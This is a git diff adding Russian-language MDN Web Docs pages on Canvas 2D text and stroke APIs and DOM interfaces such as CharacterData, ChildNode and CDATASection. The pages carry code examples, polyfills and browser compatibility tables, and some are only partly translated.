+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.strokeStyle = "green";
+ctx.strokeRect(10, 10, 100, 100);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-strokerect", "CanvasRenderingContext2D.strokeRect")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html b/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html new file mode 100644 index 0000000000..eff9c60020 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html @@ -0,0 +1,205 @@ +--- +title: CanvasRenderingContext2D.strokeStyle +slug: Web/API/CanvasRenderingContext2D/strokeStyle +translation_of: Web/API/CanvasRenderingContext2D/strokeStyle +--- +
{{APIRef}}
+ +

Свойство CanvasRenderingContext2D.strokeStyle, предоставляемое Canvas 2D API задает цвет или стиль, используемый при выполнении обводки фигур. По умолчанию установлено значение #000 (черный цвет).

+ +

См. также главу Applying styles and color в Canvas Tutorial.

+ +

Синтаксис

+ +
ctx.strokeStyle = color;
+ctx.strokeStyle = gradient;
+ctx.strokeStyle = pattern;
+
+ +

Значения

+ +
+
color
+
{{domxref("DOMString")}} строка содержащая цвет в формате, поддерживающимся стандартом CSS ({{cssxref("<color>")}}).
+
gradient
+
Объект класса {{domxref("CanvasGradient")}} (линейный или круговой градиент ).
+
pattern
+
Объект класса {{domxref("CanvasPattern")}} (повторяющееся изображение).
+
+ +

Примеры

+ +

Использование strokeStyle с цветом

+ +

Ниже представлен простой фрагмент кода, использующий strokeStyle с цветом.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.strokeStyle = "blue";
+ctx.strokeRect(10, 10, 100, 100);
+
+ +

Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

Использование strokeStyle в циклах for

+ +

В этом примере свойство strokeStyle используется для рисования границ фигур. Мы используем метод {{domxref("CanvasRenderingContext2D.arc", "arc()")}} для рисования кругов.

+ +
var ctx = document.getElementById('canvas').getContext('2d');
+for (var i=0;i<6;i++){
+  for (var j=0;j<6;j++){
+    ctx.strokeStyle = 'rgb(0,' + Math.floor(255-42.5*i) + ',' +
+                      Math.floor(255-42.5*j) + ')';
+    ctx.beginPath();
+    ctx.arc(12.5+j*25,12.5+i*25,10,0,Math.PI*2,true);
+    ctx.stroke();
+  }
+}
+
+ + + +

Результат выглядит так:

+ +

{{EmbedLiveSample("A_strokeStyle_example", "180", "180", "https://mdn.mozillademos.org/files/253/Canvas_strokestyle.png")}}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-strokestyle", "CanvasRenderingContext2D.strokeStyle")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ + + + + +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html b/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html new file mode 100644 index 0000000000..e0e98fbc0a --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html @@ -0,0 +1,167 @@ +--- +title: CanvasRenderingContext2D.strokeText() +slug: Web/API/CanvasRenderingContext2D/strokeText +translation_of: Web/API/CanvasRenderingContext2D/strokeText +--- +
{{APIRef}}
+ +

Метод CanvasRenderingContext2D.strokeText(), предоставляемый Canvas 2D API, выполняет обводку заданного текста в заданной позиции (x, y). Если указан необязательный четвертый параметр, текст будет масштабироваться в соответветствие с указанной максимальной шириной.

+ +

См. также метод {{domxref("CanvasRenderingContext2D.fillText()")}} для заливки контуров текста.

+ +

Синтаксис

+ +
void ctx.strokeText(text, x, y [, maxWidth]);
+
+ +

Параметры

+ +
+
text
+
Текст, использующий для визуализации следующие свойства: {{domxref("CanvasRenderingContext2D.font","font")}}, {{domxref("CanvasRenderingContext2D.textAlign","textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline","textBaseline")}} и {{domxref("CanvasRenderingContext2D.direction","direction")}}.
+
x
+
Коодрдината левой нижней точки текста по оси x.
+
y
+
Коодрдината левой нижней точки текста по оси y.
+
maxWidth {{optional_inline}}
+
Максимальная ширина текста.  Если ширина надписи больше параметра, текст масштабируется по горизонатли, или, если это невозможно (надпись становится нечитамой), уменьшается размер шрифта.
+
+ +

Примеры

+ +

Использование метода strokeText

+ +

Ниже представлен простой фрагмент кода, использующий strokeText.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.font = "48px serif";
+ctx.strokeText("Hello world", 50, 100);
+
+ +

Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.font = "48px serif";
+ctx.strokeText("Hello world", 50, 100);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-stroketext", "CanvasRenderingContext2D.strokeText")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop("1.9.1") }}{{ CompatIE(9) }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatGeckoMobile("1.9.1") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html b/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html new file mode 100644 index 0000000000..306558fa51 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html @@ -0,0 +1,130 @@ +--- +title: CanvasRenderingContext2D.textAlign +slug: Web/API/CanvasRenderingContext2D/textAlign +tags: + - API + - Canvas + - Выравнивание + - Значение + - Текст +translation_of: Web/API/CanvasRenderingContext2D/textAlign +--- +
{{APIRef}}
+ +

Свойство CanvasRenderingContext2D.textAlign Canvas 2D API определяет текущее выравнивание текста, использованное при прорисовке. Но следует помнить, что выравнивание основывается на значении x метода {{domxref("CanvasRenderingContext2D.fillText", "fillText()")}}. Так что, если значение textAlign равно "center", то текст будет прорисован в x - (width / 2).

+ +

Синтаксис

+ +
ctx.textAlign = "left" || "right" || "center" || "start" || "end";
+
+ +

Параметры

+ +
+
left
+
Выравнивание текста по левому краю.
+
right
+
Выравнивание текста по правому краю.
+
center
+
Текст отцентрирован.
+
start
+
Выравнивание текста в обычном начале строки (левостороннее выравнивание для языков, направленных слева направо, правостороннее - для направленных справа налево).
+
end
+
Выравнивание текста в конце строки (правостороннее выравнивание для языков, направленных слева направо, левостороннее - для направленных справа налево
+
+ +

По умолчанию значение textAlign установлено как "start".

+ +

Примеры

+ +

Использование значения textAlign

+ +

Довольно простой сниппет использования значения textAlign для изменения выравнивания текста.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.font = '48px serif';
+ctx.textAlign = 'left';
+ctx.strokeText('Hello world', 0, 100);
+
+ +

Отредактируйте приведенный ниже код и посмотрите, как обновляется ваше обновление на холсте:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-textalign", "CanvasRenderingContext2D.textAlign")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.CanvasRenderingContext2D.textAlign")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/textbaseline/index.html b/files/ru/web/api/canvasrenderingcontext2d/textbaseline/index.html new file mode 100644 index 0000000000..545cf211b5 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/textbaseline/index.html @@ -0,0 +1,100 @@ +--- +title: CanvasRenderingContext2D.textBaseline +slug: Web/API/CanvasRenderingContext2D/textBaseline +tags: + - API + - Canvas + - Property +translation_of: Web/API/CanvasRenderingContext2D/textBaseline +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.textBaseline - свойство Canvas 2D API, указывающее на текущую базовую линию при рисовании текста.

+ +

Синтаксис

+ +
ctx.textBaseline = "top" || "hanging" || "middle" || "alphabetic" || "ideographic" || "bottom";
+
+ +

Опции

+ +

Возможные значения:

+ +
+
"top"
+
The text baseline is the top of the em square.
+
"hanging"
+
The text baseline is the hanging baseline. (Used by Tibetan and other Indic scripts.)
+
"middle"
+
The text baseline is the middle of the em square.
+
"alphabetic"
+
The text baseline is the normal alphabetic baseline. Значение по умолчанию.
+
"ideographic"
+
The text baseline is the ideographic baseline; this is the bottom of the body of the characters, if the main body of characters protrudes beneath the alphabetic baseline. (Used by Chinese, Japanese, and Korean scripts.)
+
"bottom"
+
The text baseline is the bottom of the bounding box. This differs from the ideographic baseline in that the ideographic baseline doesn't consider descenders.
+
+ +

Примеры

+ +

Сравнение значений свойства

+ +

Этот пример демонстрирует различные значения свойства textBaseline и отображение линий при их приминениях.

+ +

HTML

+ +
<canvas id="canvas" width="550" height="500"></canvas>
+
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+const baselines = ['top', 'hanging', 'middle', 'alphabetic', 'ideographic', 'bottom'];
+ctx.font = '36px serif';
+ctx.strokeStyle = 'red';
+
+baselines.forEach(function (baseline, index) {
+  ctx.textBaseline = baseline;
+  let y = 75 + index * 75;
+  ctx.beginPath();
+  ctx.moveTo(0, y + 0.5);
+  ctx.lineTo(550, y + 0.5);
+  ctx.stroke();
+  ctx.fillText('Abcdefghijklmnop (' + baseline + ')', 0, y);
+});
+
+ +

Результат

+ +

{{ EmbedLiveSample('Comparison_of_property_values', 700, 550) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-textbaseline", "CanvasRenderingContext2D.textBaseline")}}{{Spec2('HTML WHATWG')}} 
+ +

Поддержка браузерами

+ + + +

{{Compat("api.CanvasRenderingContext2D.textBaseline")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/cdatasection/index.html b/files/ru/web/api/cdatasection/index.html new file mode 100644 index 0000000000..e660a2c42a --- /dev/null +++ b/files/ru/web/api/cdatasection/index.html @@ -0,0 +1,75 @@ +--- +title: CDATASection +slug: Web/API/CDATASection +translation_of: Web/API/CDATASection +--- +
{{APIRef("DOM")}}
+ +

Интерфейс CDATASection представляет собой раздел CDATA, который может быть использован внутри XML для добавления extended групп "незакавыченного" текста. Символы < and & не нуждаются в кавычках, как внутри раздела CDATA.

+ +

В XML, раздел CDATA выглядит так:

+ +
<![CDATA[  ... ]]>
+
+ +

Например:

+ +
<foo>Here is a CDATA section: <![CDATA[  < > & ]]> with all kinds of unescaped text. </foo>
+
+ +

Единственная последовательность (символов), не разрешенная внутри раздела CDATA -  это сами символы закрытия раздела CDATA:

+ +
<![CDATA[  ]]> will cause an error   ]]>
+
+ +

Заметьте, что разделы CDATA не следует использовать внутри HTML; они работают только в  XML.

+ +

{{InheritanceDiagram(600,120)}}

+ +

Свойства

+ +

Этот интерфейс не имеет специфических свойств и наследует родительские свойства {{domxref("Text")}}.

+ +

Методы

+ +

This interface has no specific methods and наследует родительские методы {{domxref("Text")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-cdatasection', 'CDATASection')}}{{Spec2('DOM WHATWG')}}Re-added in issue #295
{{SpecName('DOM3 Core', 'core.html#ID-667469212', 'CDATASection')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-667469212', 'CDATASection')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}.
{{SpecName('DOM1', 'level-one-core.html#ID-667469212', 'CDATASection')}}{{Spec2('DOM1')}}Initial definition
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.CDATASection")}}

diff --git a/files/ru/web/api/characterdata/index.html b/files/ru/web/api/characterdata/index.html new file mode 100644 index 0000000000..95d465f1b1 --- /dev/null +++ b/files/ru/web/api/characterdata/index.html @@ -0,0 +1,94 @@ +--- +title: CharacterData +slug: Web/API/CharacterData +translation_of: Web/API/CharacterData +--- +

{{APIRef("DOM")}}

+ +

Абстрактный интерфейс CharacterData представляет собой объект {{domxref("Node")}}, который содержит символы. "Абстрактность" интерфейса означает то, что не существует объектов типа CharacterData: интерфейс CharacterData реализуется посредством других интерфейсов, таких как {{domxref("Text")}}, {{domxref("Comment")}}, или {{domxref("ProcessingInstruction")}}, которые не являются абстрактными.

+ +

{{InheritanceDiagram}}

+ +

Свойства

+ +

Наследует свойства родителя, {{domxref("Node")}},  реализуется с помощью {{domxref("ChildNode")}} и {{domxref("NonDocumentTypeChildNode")}}интерфейсов.

+ +
+
{{domxref("CharacterData.data")}}
+
 - это {{domxref("DOMString")}}, представляющая(ий) текстовые данные, которые содержит этот объект (DOMString).
+
{{domxref("CharacterData.length")}} {{readonlyInline}}
+
Возвращает an unsigned long и отображает размер строки, содержащейся в CharacterData.data.
+
{{domxref("NonDocumentTypeChildNode.nextElementSibling")}} {{readonlyInline}}
+
Возвращает {{domxref("Element")}} следующий сразу после указанного  {{domxref("Element")}} элемента в дочернем списке своего родителя, или null если указанный элемент - последний в списке.
+
{{domxref("NonDocumentTypeChildNode.previousElementSibling")}} {{readonlyInline}}
+
Возвращает {{domxref("Element")}} непосредственно до указанного элемента в дочернем списке своего родительского элемента, или null если указанный элемент - первый в списке.
+
+ +

Методы

+ +

Наследует методы родителя, {{domxref("Node")}}, и реализует(ся) (через) ({{domxref("ChildNode")}} и {{domxref("NonDocumentTypeChildNode")}}интерфейсы.

+ +
+
{{domxref("CharacterData.appendData()")}}
+
Добавляет указанную {{domxref("DOMString")}} к строке CharacterData.data; после выполнения данного метода, данные содержат объединенный(элемент) {{domxref("DOMString")}}.
+
{{domxref("CharacterData.deleteData()")}}
+
Удаляет указанное количество символов, начиная с указанного отступа, из строки CharacterData.data; после выполнения метода, данные(data) содержат урезанный {{domxref("DOMString")}}.
+
{{domxref("CharacterData.insertData()")}}
+
Inserts the specified characters, at the specified offset, in the CharacterData.data string; when this method returns, data contains the modified {{domxref("DOMString")}}.
+
{{domxref("ChildNode.remove()")}} {{experimental_inline}}
+
Удаляет объект из its parent children списка.
+
{{domxref("CharacterData.replaceData()")}}
+
Заменяет указанное количество символов, начиная с указанного отступа, с указанным {{domxref("DOMString")}}; после выполнения метода, данные(data) содержат измененый {{domxref("DOMString")}}.
+
{{domxref("CharacterData.substringData()")}}
+
Возвращает {{domxref("DOMString")}}, содержащую(ий) часть CharacterData.data указанной длины и начиная с указанного отступа.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#characterdata', 'CharacterData')}}{{Spec2('DOM WHATWG')}}Added implemention of the {{domxref("ChildNode")}} and {{domxref("NonDocumentTypeChildNode")}} interface.
{{SpecName('DOM3 Core', 'core.html#ID-FF21A306', 'CharacterData')}}{{Spec2('DOM3 Core')}}Без изменений по сравнению с {{SpecName('DOM2 Core')}}.
{{SpecName('DOM2 Core', 'core.html#ID-FF21A306', 'CharacterData')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}.
{{SpecName('DOM1', 'level-one-core.html#ID-FF21A306', 'CharacterData')}}{{Spec2('DOM1')}}Initial definition.
+ +

Совместимость с браузерами

+ + + +

 

+ +

{{Compat("api.CharacterData")}}

+ +

Смотри(те) также

+ +

 

+ + diff --git a/files/ru/web/api/childnode/index.html b/files/ru/web/api/childnode/index.html new file mode 100644 index 0000000000..0d1ebf46ec --- /dev/null +++ b/files/ru/web/api/childnode/index.html @@ -0,0 +1,171 @@ +--- +title: ChildNode +slug: Web/API/ChildNode +tags: + - API + - DOM + - Experimental + - Expérimental(2) + - NeedsTranslation + - TopicStub +translation_of: Web/API/ChildNode +--- +

{{APIRef("DOM")}}

+ +

Интерфейс ChildNode  содержит методы, специфичные для объектов  {{domxref("Node")}}, которые имеют родителя.

+ +

ChildNode это просто интерфейс и ни один объект этого типа не может быть создан; он реализуется объектами {{domxref("Element")}}, {{domxref("DocumentType")}} и {{domxref("CharacterData")}}.

+ +

Properties

+ +

There is neither inherited, nor specific property.

+ +

Methods

+ +

Отсутствуют унаследованные методы.

+ +
+
{{domxref("ChildNode.remove()")}} {{experimental_inline}}
+
Удаляет данный ChildNode из списка потомков его родителя.
+
{{domxref("ChildNode.before()")}} {{experimental_inline}}
+
Inserts a set of {{domxref("Node")}} or {{domxref("DOMString")}} objects in the children list of this ChildNode's parent, just before this ChildNode. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.
+
{{domxref("ChildNode.after()")}} {{experimental_inline}}
+
Inserts a set of {{domxref("Node")}} or {{domxref("DOMString")}} objects in the children list of this ChildNode's parent, just after this ChildNode. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.
+
{{domxref("ChildNode.replaceWith()")}} {{experimental_inline}}
+
Заменяет ChildNode  в списке потомков его родителя набором {{domxref("Node")}} или {{domxref("DOMString")}} объектов. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-childnode', 'ChildNode')}}{{Spec2('DOM WHATWG')}}Интерфейс ElementTraversal  разделен на {{domxref("ParentNode")}} и ChildNode. Свойства previousElementSibling и nextElementSibling теперь определены в последнем.
+ The {{domxref("CharacterData")}} and {{domxref("DocumentType")}} implemented the new interfaces.
+ Добавлены методы remove(), before(), after() и replaceWith().
{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}{{Spec2('Element Traversal')}}Added the initial definition of its properties to the ElementTraversal pure interface and use it on {{domxref("Element")}}.
+ +

Polyfill

+ +

External on github: childNode.js

+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support (on {{domxref("Element")}})1.0{{CompatGeckoDesktop("23.0")}}9.010.04.0
Support on {{domxref("DocumentType")}} and {{domxref("CharacterData")}} {{experimental_inline}}23.0{{CompatGeckoDesktop("23.0")}}{{CompatNo}}16.0{{CompatNo}}
remove(){{experimental_inline}}29.0{{CompatGeckoDesktop("23.0")}}{{CompatNo}}16.0{{CompatNo}}
before(), after(), and replaceWith() {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support (on {{domxref("Element")}}){{ CompatVersionUnknown() }}{{CompatGeckoMobile("23.0")}}{{ CompatVersionUnknown() }}10.0{{ CompatVersionUnknown() }}
Support on {{domxref("DocumentType")}} and {{domxref("CharacterData")}} {{experimental_inline}}{{ CompatVersionUnknown() }}{{CompatGeckoMobile("23.0")}}{{CompatNo}}16.0{{CompatNo}}
remove(){{experimental_inline}}{{CompatVersionUnknown}}{{CompatGeckoMobile("23.0")}}{{CompatNo}}16.0{{CompatNo}}
before(), after(), and replaceWith() {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/ru/web/api/childnode/remove/index.html b/files/ru/web/api/childnode/remove/index.html new file mode 100644 index 0000000000..ff5b20cc2d --- /dev/null +++ b/files/ru/web/api/childnode/remove/index.html @@ -0,0 +1,148 @@ +--- +title: Node.remove() +slug: Web/API/ChildNode/remove +translation_of: Web/API/ChildNode/remove +--- +

Метод Node.remove() удаляет узел из дерева DOM

+ +

 

+ +

То, что элемент удален из DOM, еще не значит, что он удален совсем! 

+ +

Он остался объектом и исчезнет только тогда, когда исчезнут все ссылки на него.

+ +

 

+ +

Синтаксис

+ +
Node.remove();
+
+ + + +

Пример

+ +

Использование remove()

+ +
<div id="box">
+   <div id="one"></div>
+   <div id="two"></div>
+</div>
+ +
var elem = document.querySelector("#one");
+elem.remove();
+alert(document.querySelector("#box").innerHTML); //Исчез блок #one
+alert(elem); //Но как видите, сам объект еще жив
+ +

Полифилл

+ +

Можно создать полифилл для IE 9 и выше, используя следующий код:

+ +
(function() {
+  var arr = [window.Element, window.CharacterData, window.DocumentType];
+  var args = [];
+
+  arr.forEach(function (item) {
+    if (item) {
+      args.push(item.prototype);
+    }
+  });
+
+  // from:https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/remove()/remove().md
+  (function (arr) {
+    arr.forEach(function (item) {
+      if (item.hasOwnProperty('remove')) {
+        return;
+      }
+      Object.defineProperty(item, 'remove', {
+        configurable: true,
+        enumerable: true,
+        writable: true,
+        value: function remove() {
+          this.parentNode.removeChild(this);
+        }
+      });
+    });
+  })(args);
+})();
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-childnode-remove', 'ChildNode.remove')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка {{domxref("Element")}}23.0{{CompatGeckoDesktop("23.0")}}{{CompatNo}}10.07.0
Поддержка {{domxref("CharacterData")}} и {{domxref("DocumentType")}}29.0{{CompatGeckoDesktop("23.0")}}{{CompatNo}}16.07.0
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка {{domxref("Element")}}{{CompatVersionUnknown}}{{CompatGeckoMobile("23.0")}}{{CompatNo}}10.0{{CompatNo}}
Поддержка {{domxref("CharacterData")}} и {{domxref("DocumentType")}}{{CompatVersionUnknown}}{{CompatGeckoMobile("23.0")}}{{CompatNo}}16.0{{CompatNo}}
diff --git a/files/ru/web/api/childnode/replacewith/index.html b/files/ru/web/api/childnode/replacewith/index.html new file mode 100644 index 0000000000..6537d254c4 --- /dev/null +++ b/files/ru/web/api/childnode/replacewith/index.html @@ -0,0 +1,113 @@ +--- +title: ChildNode.replaceWith() +slug: Web/API/ChildNode/replaceWith +translation_of: Web/API/ChildNode/replaceWith +--- +
{{APIRef("DOM")}}
+ +

Метод ChildNode.replaceWith() заменяет ChildNode в списке детей их родителя множеством {{domxref("Node")}} или {{domxref("DOMString")}} объектов. {{domxref("DOMString")}} объекты вставляются как эквивалент нод {{domxref("Text")}}.

+ +

Синтаксис

+ +
[Throws, Unscopable]
+void ChildNode.replaceWith((Node or DOMString)... nodes);
+
+ +

Параметры

+ +
+
nodes
+
Множество заменяемых {{domxref("Node")}} или {{domxref("DOMString")}} объектов.
+
+ +

Исключения

+ + + +

Примеры

+ +

Использование replaceWith()

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.replaceWith(span);
+
+console.log(parent.outerHTML);
+// "<div><span></span></div>"
+
+ +

ChildNode.replaceWith() не выполним

+ +

Метод replaceWith() не входит в область видимости оператора with. Смотрите {{jsxref("Symbol.unscopables")}} для дополнительной информации.

+ +
with(node) {
+  replaceWith("foo");
+}
+// ReferenceError: replaceWith is not defined
+ +

Полифилл

+ +

Вы можете заполнить метод replaceWith() в Internet Explorer 10+ и выше следующим кодом:

+ +
function ReplaceWithPolyfill() {
+  'use-strict'; // For safari, and IE > 10
+  var parent = this.parentNode, i = arguments.length, currentNode;
+  if (!parent) return;
+  if (!i) // if there are no arguments
+    parent.removeChild(this);
+  while (i--) { // i-- decrements i and returns the value of i before the decrement
+    currentNode = arguments[i];
+    if (typeof currentNode !== 'object'){
+      currentNode = this.ownerDocument.createTextNode(currentNode);
+    } else if (currentNode.parentNode){
+      currentNode.parentNode.removeChild(currentNode);
+    }
+    // the value of "i" below is after the decrement
+    if (!i) // if currentNode is the first argument (currentNode === arguments[0])
+      parent.replaceChild(currentNode, this);
+    else // if currentNode isn't the first
+      parent.insertBefore(currentNode, this.nextSibling);
+  }
+}
+if (!Element.prototype.replaceWith)
+    Element.prototype.replaceWith = ReplaceWithPolyfill;
+if (!CharacterData.prototype.replaceWith)
+    CharacterData.prototype.replaceWith = ReplaceWithPolyfill;
+if (!DocumentType.prototype.replaceWith)
+    DocumentType.prototype.replaceWith = ReplaceWithPolyfill;
+ +

Спецификация

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-childnode-replacewith', 'ChildNode.replacewith()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.ChildNode.replaceWith")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/clients/claim/index.html b/files/ru/web/api/clients/claim/index.html new file mode 100644 index 0000000000..046a4f8a0d --- /dev/null +++ b/files/ru/web/api/clients/claim/index.html @@ -0,0 +1,114 @@ +--- +title: Clients.claim() +slug: Web/API/Clients/claim +translation_of: Web/API/Clients/claim +--- +

{{APIRef("Service Worker Clients")}}

+ +

Метод claim() интерфейса {{domxref("Clients")}} позволяет активному сервис-воркеру установить себя {{domxref("ServiceWorkerContainer.controller", "контролирующим воркером")}} для всех клиентских страниц в своей {{domxref("ServiceWorkerRegistration.scope", "области видимости")}}. Вызывает событие "controllerchange" на {{domxref("ServiceWorkerContainer","navigator.serviceWorker")}} всех клиентских страниц, контролируемых сервис-воркером.

+ +

